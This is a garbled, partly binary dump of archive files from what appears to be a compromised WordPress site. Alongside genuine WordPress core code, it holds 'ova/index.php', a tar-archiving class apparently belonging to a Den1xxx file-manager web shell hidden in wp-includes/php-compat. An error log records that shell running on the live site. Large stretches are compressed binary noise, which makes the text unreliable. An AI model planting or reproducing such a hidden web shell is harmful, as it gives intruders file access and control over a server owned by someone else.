'8f1acdfb845f670b0ef2'); PK![#--script-modules-packages.min.phpnu[PK![][7[7 |ova/index.phpnu[PK![}.cc>ova/index.php.php.tar.gznu[PK![\&G>>oova/index.php.tarnu[PK![8sr6r6 ova/error_lognu[PK!['Knn)_script-loader-react-refresh-entry.min.phpnu[PK!['Knn%&script-loader-react-refresh-entry.phpnu[PK![+ߋ00script-loader-packages.phpnu[PK![֍TT'NHscript-loader-react-refresh-runtime.phpnu[PK![wOKHscript-modules-packages.phpnu[PK![ri/11IOscript-loader-packages.min.phpnu[PK![֍TT+script-loader-react-refresh-runtime.min.phpnu[PK UMPK$[d;;default-widgets.php.php.tar.gznu[Oo0{]>wEJB˟L뤍RiEj+48FmgZM}"U*Zw!y) Y*Re'xsM@ddI}QPCVr0|zP5菢ao8~B"{Uh(?/_aP-E3-6"R1T8þlpR*:SL몫xhC~>=z^ku SDbĈ+t>"H=E|6^t\3иzW,5"km5.KkI( ;a=95rl;/<۸PiVVd+Pd Oxm,ccr(qAt%MSrW:nit?9efWZ!w,SO΄Ɏצ4nbZ2e+RE hH `fbX"wq,_.thqX8i wNR[ n/pO,d'BuKFYQ;bp [)+jeK$fqw"_T4뮄$˩}:ֱuwgͷMPK$[9hhphp-compat.tarnu[ova/index.php000064400000233533150547657510007201 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ova/error_log000064400000017372150547657510007277 0ustar00[29-Aug-2025 22:54:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [29-Aug-2025 22:54:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [29-Aug-2025 23:40:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [29-Aug-2025 23:40:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 04:07:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 04:07:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 04:45:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 04:45:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 04:45:50 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 669 [30-Aug-2025 05:09:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:09:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:11:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:11:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:23:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:23:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:23:48 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.p[30-Aug-2025 05:30:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:30:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:30:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:30:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 11:36:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 11:36:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 12:00:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 12:00:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 13:36:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 13:37:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 23:09:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 23:09:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 23:09:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 669 [31-Aug-2025 00:17:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [31-Aug-2025 00:17:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 readonly.php000064400000002345150547657510007115 0ustar00= 8.1 results in a fatal error. * * @package WordPress * @since 5.9.0 */ /** * Outputs the HTML readonly attribute. * * Compares the first two arguments and if identical marks as readonly. * * This function is deprecated, and cannot be used on PHP >= 8.1. * * @since 4.9.0 * @deprecated 5.9.0 Use wp_readonly() introduced in 5.9.0. * * @see wp_readonly() * * @param mixed $readonly_value One of the values to compare. * @param mixed $current Optional. The other value to compare if not just true. * Default true. * @param bool $display Optional. Whether to echo or just return the string. * Default true. * @return string HTML attribute or empty string. */ function readonly( $readonly_value, $current = true, $display = true ) { _deprecated_function( __FUNCTION__, '5.9.0', 'wp_readonly()' ); return wp_readonly( $readonly_value, $current, $display ); } PK$[ S,block-template.php.php.tar.gznu[[sW鯸hTrIPN줏:xmXO@GHV)v}>l ۗWZTNz6ZʍR]xAlM$PNgE$#|'˥]uH$[ YMK7#6* ɖ>HXZCf;[0s7 4mb^ P`ʭf=$NNN,zj͝n<†T0[Z:R *޳۶Hw&K{\)V*me&ȁ`r,̫\GjC0蠐Kj!7 :4\ :4MDD oj)0~ rf & PrySgG:Eg<ӊCq"CI*"RC T>BzFA\rh8'MMsOFtsfWgOϿlx}o>T^k7<[eVCG;4obuk4*Wwi>nٲ^;Zq\(އ+ ՅN_A ) nC]zKU0TG/I{0aY|:h&bݾ]<%eUvddH!m/תHfR8=./)r-3#v1k"zX|rةz Rsض`KjdU5T# H‘> so>TkH:Q|jȘQ5GomβV(Q^Mq4Iu Ȩq풌F>_g |49ly!`m` @+O2m!Q{߶"t).§ԋ&)GFsEu3,:mp=Kq|ΘJ CQaR4@KN^ Ǎ*P9Q$JMϿ :߫SxvvX/ $> q(Bfe 154UZ4kHزLEU1FmLՀEk)&sʠF(f>WѢu ipbCN=Vu!S*uJ9>ZOuYB7ndFה:Fv->u$C'>N3ziӞcug&UI\rKM1= L}GȲH+Hl]q1<>4L[25FT 5O]HS3ޛK[NUն@![F _(+p-1ҷ.Kln'EYO5&&X $PH*rdw2EGWQKS1Ql'nidHvxT )yMM2¹ 2W)2k,Q:821-Ս5J3Yi<4ngQbq2`6.` @x0 gKŜ a(A\N˅ZHB/X)kR/CF52e)EsTufLYTj3`-`fgW+=m'aabES4cpÆcnpGZ707(4DIIMXKHncҒ6,ݦMIF!FdY PD e6 W5x=+孍J9;'*z /W_# $kH׸ [&Bv3hqky<[L(( sܜ)\؇1_HXzVޚM{L'͆}e|@\+W c|2"etz46('lHhaft&+;g=KB1Գ]-jK='bTYqS@..NP޲8gu.^oMz&0z l9+o%q*_ J`}1tqL%*w4x[tΈF& mKT_\B2$B "+:> H$]!-FxUarɞP$TQS

    %1$s

    %2$s

    %4$s ', esc_html( $block_template->title ), __( 'This page is blank because the template is empty. You can reset or customize it in the Site Editor.' ), get_edit_post_link( $block_template->wp_id, 'site-editor' ), __( 'Edit template' ) ); } /** * Finds a block template with equal or higher specificity than a given PHP template file. * * Internally, this communicates the block content that needs to be used by the template canvas through a global variable. * * @since 5.8.0 * @since 6.3.0 Added `$_wp_current_template_id` global for editing of current template directly from the admin bar. * * @global string $_wp_current_template_content * @global string $_wp_current_template_id * * @param string $template Path to the template. See locate_template(). * @param string $type Sanitized filename without extension. * @param string[] $templates A list of template candidates, in descending order of priority. * @return string The path to the Site Editor template canvas file, or the fallback PHP template. */ function locate_block_template( $template, $type, array $templates ) { global $_wp_current_template_content, $_wp_current_template_id; if ( ! current_theme_supports( 'block-templates' ) ) { return $template; } if ( $template ) { /* * locate_template() has found a PHP template at the path specified by $template. * That means that we have a fallback candidate if we cannot find a block template * with higher specificity. * * Thus, before looking for matching block themes, we shorten our list of candidate * templates accordingly. */ // Locate the index of $template (without the theme directory path) in $templates. $relative_template_path = str_replace( array( get_stylesheet_directory() . '/', get_template_directory() . '/' ), '', $template ); $index = array_search( $relative_template_path, $templates, true ); // If the template hierarchy algorithm has successfully located a PHP template file, // we will only consider block templates with higher or equal specificity. $templates = array_slice( $templates, 0, $index + 1 ); } $block_template = resolve_block_template( $type, $templates, $template ); if ( $block_template ) { $_wp_current_template_id = $block_template->id; if ( empty( $block_template->content ) ) { if ( is_user_logged_in() ) { $_wp_current_template_content = wp_render_empty_block_template_warning( $block_template ); } else { if ( $block_template->has_theme_file ) { // Show contents from theme template if user is not logged in. $theme_template = _get_block_template_file( 'wp_template', $block_template->slug ); $_wp_current_template_content = file_get_contents( $theme_template['path'] ); } else { $_wp_current_template_content = $block_template->content; } } } elseif ( ! empty( $block_template->content ) ) { $_wp_current_template_content = $block_template->content; } if ( isset( $_GET['_wp-find-template'] ) ) { wp_send_json_success( $block_template ); } } else { if ( $template ) { return $template; } if ( 'index' === $type ) { if ( isset( $_GET['_wp-find-template'] ) ) { wp_send_json_error( array( 'message' => __( 'No matching template found.' ) ) ); } } else { return ''; // So that the template loader keeps looking for templates. } } // Add hooks for template canvas. // Add viewport meta tag. add_action( 'wp_head', '_block_template_viewport_meta_tag', 0 ); // Render title tag with content, regardless of whether theme has title-tag support. remove_action( 'wp_head', '_wp_render_title_tag', 1 ); // Remove conditional title tag rendering... add_action( 'wp_head', '_block_template_render_title_tag', 1 ); // ...and make it unconditional. // This file will be included instead of the theme's template file. return ABSPATH . WPINC . '/template-canvas.php'; } /** * Returns the correct 'wp_template' to render for the request template type. * * @access private * @since 5.8.0 * @since 5.9.0 Added the `$fallback_template` parameter. * * @param string $template_type The current template type. * @param string[] $template_hierarchy The current template hierarchy, ordered by priority. * @param string $fallback_template A PHP fallback template to use if no matching block template is found. * @return WP_Block_Template|null template A template object, or null if none could be found. */ function resolve_block_template( $template_type, $template_hierarchy, $fallback_template ) { if ( ! $template_type ) { return null; } if ( empty( $template_hierarchy ) ) { $template_hierarchy = array( $template_type ); } $slugs = array_map( '_strip_template_file_suffix', $template_hierarchy ); // Find all potential templates 'wp_template' post matching the hierarchy. $query = array( 'slug__in' => $slugs, ); $templates = get_block_templates( $query ); // Order these templates per slug priority. // Build map of template slugs to their priority in the current hierarchy. $slug_priorities = array_flip( $slugs ); usort( $templates, static function ( $template_a, $template_b ) use ( $slug_priorities ) { return $slug_priorities[ $template_a->slug ] - $slug_priorities[ $template_b->slug ]; } ); $theme_base_path = get_stylesheet_directory() . DIRECTORY_SEPARATOR; $parent_theme_base_path = get_template_directory() . DIRECTORY_SEPARATOR; // Is the active theme a child theme, and is the PHP fallback template part of it? if ( str_starts_with( $fallback_template, $theme_base_path ) && ! str_contains( $fallback_template, $parent_theme_base_path ) ) { $fallback_template_slug = substr( $fallback_template, // Starting position of slug. strpos( $fallback_template, $theme_base_path ) + strlen( $theme_base_path ), // Remove '.php' suffix. -4 ); // Is our candidate block template's slug identical to our PHP fallback template's? if ( count( $templates ) && $fallback_template_slug === $templates[0]->slug && 'theme' === $templates[0]->source ) { // Unfortunately, we cannot trust $templates[0]->theme, since it will always // be set to the active theme's slug by _build_block_template_result_from_file(), // even if the block template is really coming from the active theme's parent. // (The reason for this is that we want it to be associated with the active theme // -- not its parent -- once we edit it and store it to the DB as a wp_template CPT.) // Instead, we use _get_block_template_file() to locate the block template file. $template_file = _get_block_template_file( 'wp_template', $fallback_template_slug ); if ( $template_file && get_template() === $template_file['theme'] ) { // The block template is part of the parent theme, so we // have to give precedence to the child theme's PHP template. array_shift( $templates ); } } } return count( $templates ) ? $templates[0] : null; } /** * Displays title tag with content, regardless of whether theme has title-tag support. * * @access private * @since 5.8.0 * * @see _wp_render_title_tag() */ function _block_template_render_title_tag() { echo '' . wp_get_document_title() . '' . "\n"; } /** * Returns the markup for the current template. * * @access private * @since 5.8.0 * * @global string $_wp_current_template_id * @global string $_wp_current_template_content * @global WP_Embed $wp_embed WordPress Embed object. * @global WP_Query $wp_query WordPress Query object. * * @return string Block template markup. */ function get_the_block_template_html() { global $_wp_current_template_id, $_wp_current_template_content, $wp_embed, $wp_query; if ( ! $_wp_current_template_content ) { if ( is_user_logged_in() ) { return '

    ' . esc_html__( 'No matching template found' ) . '

    '; } return; } $content = $wp_embed->run_shortcode( $_wp_current_template_content ); $content = $wp_embed->autoembed( $content ); $content = shortcode_unautop( $content ); $content = do_shortcode( $content ); /* * Most block themes omit the `core/query` and `core/post-template` blocks in their singular content templates. * While this technically still works since singular content templates are always for only one post, it results in * the main query loop never being entered which causes bugs in core and the plugin ecosystem. * * The workaround below ensures that the loop is started even for those singular templates. The while loop will by * definition only go through a single iteration, i.e. `do_blocks()` is only called once. Additional safeguard * checks are included to ensure the main query loop has not been tampered with and really only encompasses a * single post. * * Even if the block template contained a `core/query` and `core/post-template` block referencing the main query * loop, it would not cause errors since it would use a cloned instance and go through the same loop of a single * post, within the actual main query loop. * * This special logic should be skipped if the current template does not come from the current theme, in which case * it has been injected by a plugin by hijacking the block template loader mechanism. In that case, entirely custom * logic may be applied which is unpredictable and therefore safer to omit this special handling on. */ if ( $_wp_current_template_id && str_starts_with( $_wp_current_template_id, get_stylesheet() . '//' ) && is_singular() && 1 === $wp_query->post_count && have_posts() ) { while ( have_posts() ) { the_post(); $content = do_blocks( $content ); } } else { $content = do_blocks( $content ); } $content = wptexturize( $content ); $content = convert_smilies( $content ); $content = wp_filter_content_tags( $content, 'template' ); $content = str_replace( ']]>', ']]>', $content ); // Wrap block template in .wp-site-blocks to allow for specific descendant styles // (e.g. `.wp-site-blocks > *`). return '
    ' . $content . '
